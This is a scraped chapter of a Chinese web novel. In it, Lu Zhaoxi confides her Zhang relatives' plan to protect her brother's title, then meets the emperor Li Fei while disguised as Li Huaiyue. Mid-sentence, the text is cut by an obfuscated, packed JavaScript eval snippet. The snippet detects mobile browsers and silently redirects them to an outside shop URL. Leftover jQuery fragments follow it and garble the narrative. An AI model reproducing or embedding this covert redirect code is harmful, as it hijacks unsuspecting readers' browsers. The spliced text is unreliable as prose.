第三百七十三章 闹过
作品:《重生到情敌身上,和前夫破镜重圆了》 “是不是张安岑和你说了些什么话引起了你的担忧。”
陆昭惜抿了抿唇,目光移向一边。
和张安岑那一天晚上在溪边说的话,她回来以后没有告诉景澄。
她不是故意不说,只是觉得那些话她说不出来。
该如何说呢,说母亲不顾一切私奔以后张家人始终惦念她,也一直在关切陆昭惜和陆淳生。
现在张家人进京,是为了保住弟弟的爵位,准备拼死一搏,只为了让淳生坐稳爵位。
即使这件事直接受益人不是自己,陆昭惜却还是觉得这份关怀像一口大石压在心口,又重又沉。
景澄目光一直落在他身上,没有半分偏移。
“阿惜,有什么事情你都可以告诉我,我们一起解决,不要自己憋在心中,让自己承担莫大的压力。”
景澄试图劝诫她,让她不要让自己增加自己的心理负担。
如今京城的一堆事等着他们,有很多事情足够他们烦的,这时候就不应该再多负担来压垮仅存的理智。
陆昭惜闻言,放下心中芥蒂,叹了口气缓缓说。
“是淳生的事,张家人回京城,和我的目的一样。”
景澄闻言,张了张嘴,难以置信。
“什么?”
陆昭惜垂下眼睛,话语沉重。
“这些年,张家一直在关注京城动向,包括我的死讯他们也知道。”
“祖父和两位舅舅始终觉得亏欠母亲,一直试图联系我和弟弟,可都被陆铭暗中截断联系。”
“昨日我听张安岑说起二舅舅的腿疾,才知道舅舅的腿是被陆铭派人硬生生打断的,就是为了不让他去京城将我们接回张家。”
“外祖父一家,两个舅舅和表妹都真心实意的希望我们好,付出的一切更是让我心痛难耐。”
“到这次陆铭**,淳生作为武安侯府的世子,自然要继承爵位。”
“可程氏怎么可能放弃到手的权利,她自然会控制淳生,让淳生听她的话,按照她的心意胡乱行事,不知道到时候会闹出多大的乱子。”
“张家人也得知了这个消息,这一次竭尽全家之力准备回到京城帮着淳生好好坐稳爵位,这才是他们进京城的目的。”
陆昭惜边说眼中的泪像断了链子的珠子不停的落下来,险些花了脸上的妆容。
“我从未想过,外祖父一家到现在仍旧惦念我和母亲,还有弟弟。”
“我以为他们早就忘却了我们。”
陆昭惜的心疼和愧疚像潮水般袭来。
景澄听着他的讲述,又是震惊,又是感动。
“而我现在这样,既不能向他们说出自己的身份,也不想让他们深陷泥沼。”
“我该怎么办?”
陆昭惜抬着一双泪眼看景澄,撞进他眼中,滚烫的泪水像烙铁的铁水一样灼烫了他的心脏。
“别哭。”
景澄小心翼翼的用手帕擦干她脸上的泪水,然后双手轻轻的捧着她的脸颊。
“我会想办法替你解决的,我会护住张家人,不让他们被程氏伤到。”
陆昭惜心中最大的不安也是源自于程氏,毕竟那个人从前折磨她和弟弟向来不留手,而面对身份地位都低她一等的张家人,程氏的手段用在他们身上简直丝滑。
她的不安和恐惧有源头也有原因。
当初陆昭惜的母亲还是侯府的祖母的时候,程氏是以贵妾的身份被陆铭带进府中的。
妾室也有贵贱之分,待遇和家世背景也完全不相同。
贱妾一般是家中的婢女或是人牙子手中卖来的不值钱的女子,若是身段和美貌得了主家青睐,一朝被抬举,进了后院之中,当一个锦衣玉食的妾室不可为是一条不错的出路。
但是贵妾的身份却与贱妾完全不同。
他们大多是官宦之家,或是有钱的富商家中的小姐,或是被家人送进达官显贵之家,求得一个锦绣前程,又或许是想借嫁人一飞冲天,得到荣华富贵。
二者虽都为妾,但身份不同,得到的待遇也完全不同。
程氏这样的,就是出身不错的官宦之家的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129016|181959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子。
现在陆昭惜的身份太过尴尬。
李淮月强行抢了陆昭惜的丈夫,如果现在陆昭惜顶着李淮月的一张脸出现在武安侯众人和张家人面前,显得可怖又诡异。
陆昭惜也知道此刻我是伤心的时候,他们现在还在去皇宫的马车上,待会见到李斐,这样的状态见他可不行。
在马车将抵达皇宫门前,陆昭惜以极快的速度调整好了自己的心态。
此刻已经是晌午,早朝会早已经过去了。
李斐便安排在御书房接见李淮月和景澄。
用金丝线缝制的鸾鸟鞋面跨过高高的门槛,稳稳的落在太湖泥底的淤泥做成的砖石之上,李淮月眼眶微红,目光惴惴不安的望着坐在九龙金椅上的李斐。
“兄长……”
李淮月一声长叫,既有不安,也有久别重逢的喜悦。
李斐脸上神情动容,缓缓站了起来。
“淮月,一别两年,你在南疆可好?”
陆昭惜脸上神情不变,心中却是冷笑一声。
在南疆好不好?不都是由你贬去的,现在用得着人,便换了一张面孔。
李淮月闻言,眼中的泪便再也止不住落了下来,自己也扑通一声跪在了地上。
“兄长,淮月知道错了,当初不该鬼迷心窍诓骗兄长,如今我已在南疆悔过自新,现在在回京城一心只想陪在兄长左右。”
李淮月字字句句带着痛彻心扉,悔过自新的愧疚与悔恨,听得人肝肠寸断。
李斐心中是有动容的,一般有利用,一般也真的有兄妹之间血脉相承的怜惜。
他走下龙椅,将跪在地上的李淮月双手扶了起来。
“知道错了便好,淮月,当初阿兄也极为不舍得你远去南疆,可为了教你改过自新,阿兄也不得不忍痛送你去南疆改。”
李斐的话听着也像是一个兄长的肺腑之言,只不过这话在场的三个人,没有一个人听进去,也不会当真。
他们两人旁若无人的叙述亲情,把景澄一个人晾在一边,显得孤寂。

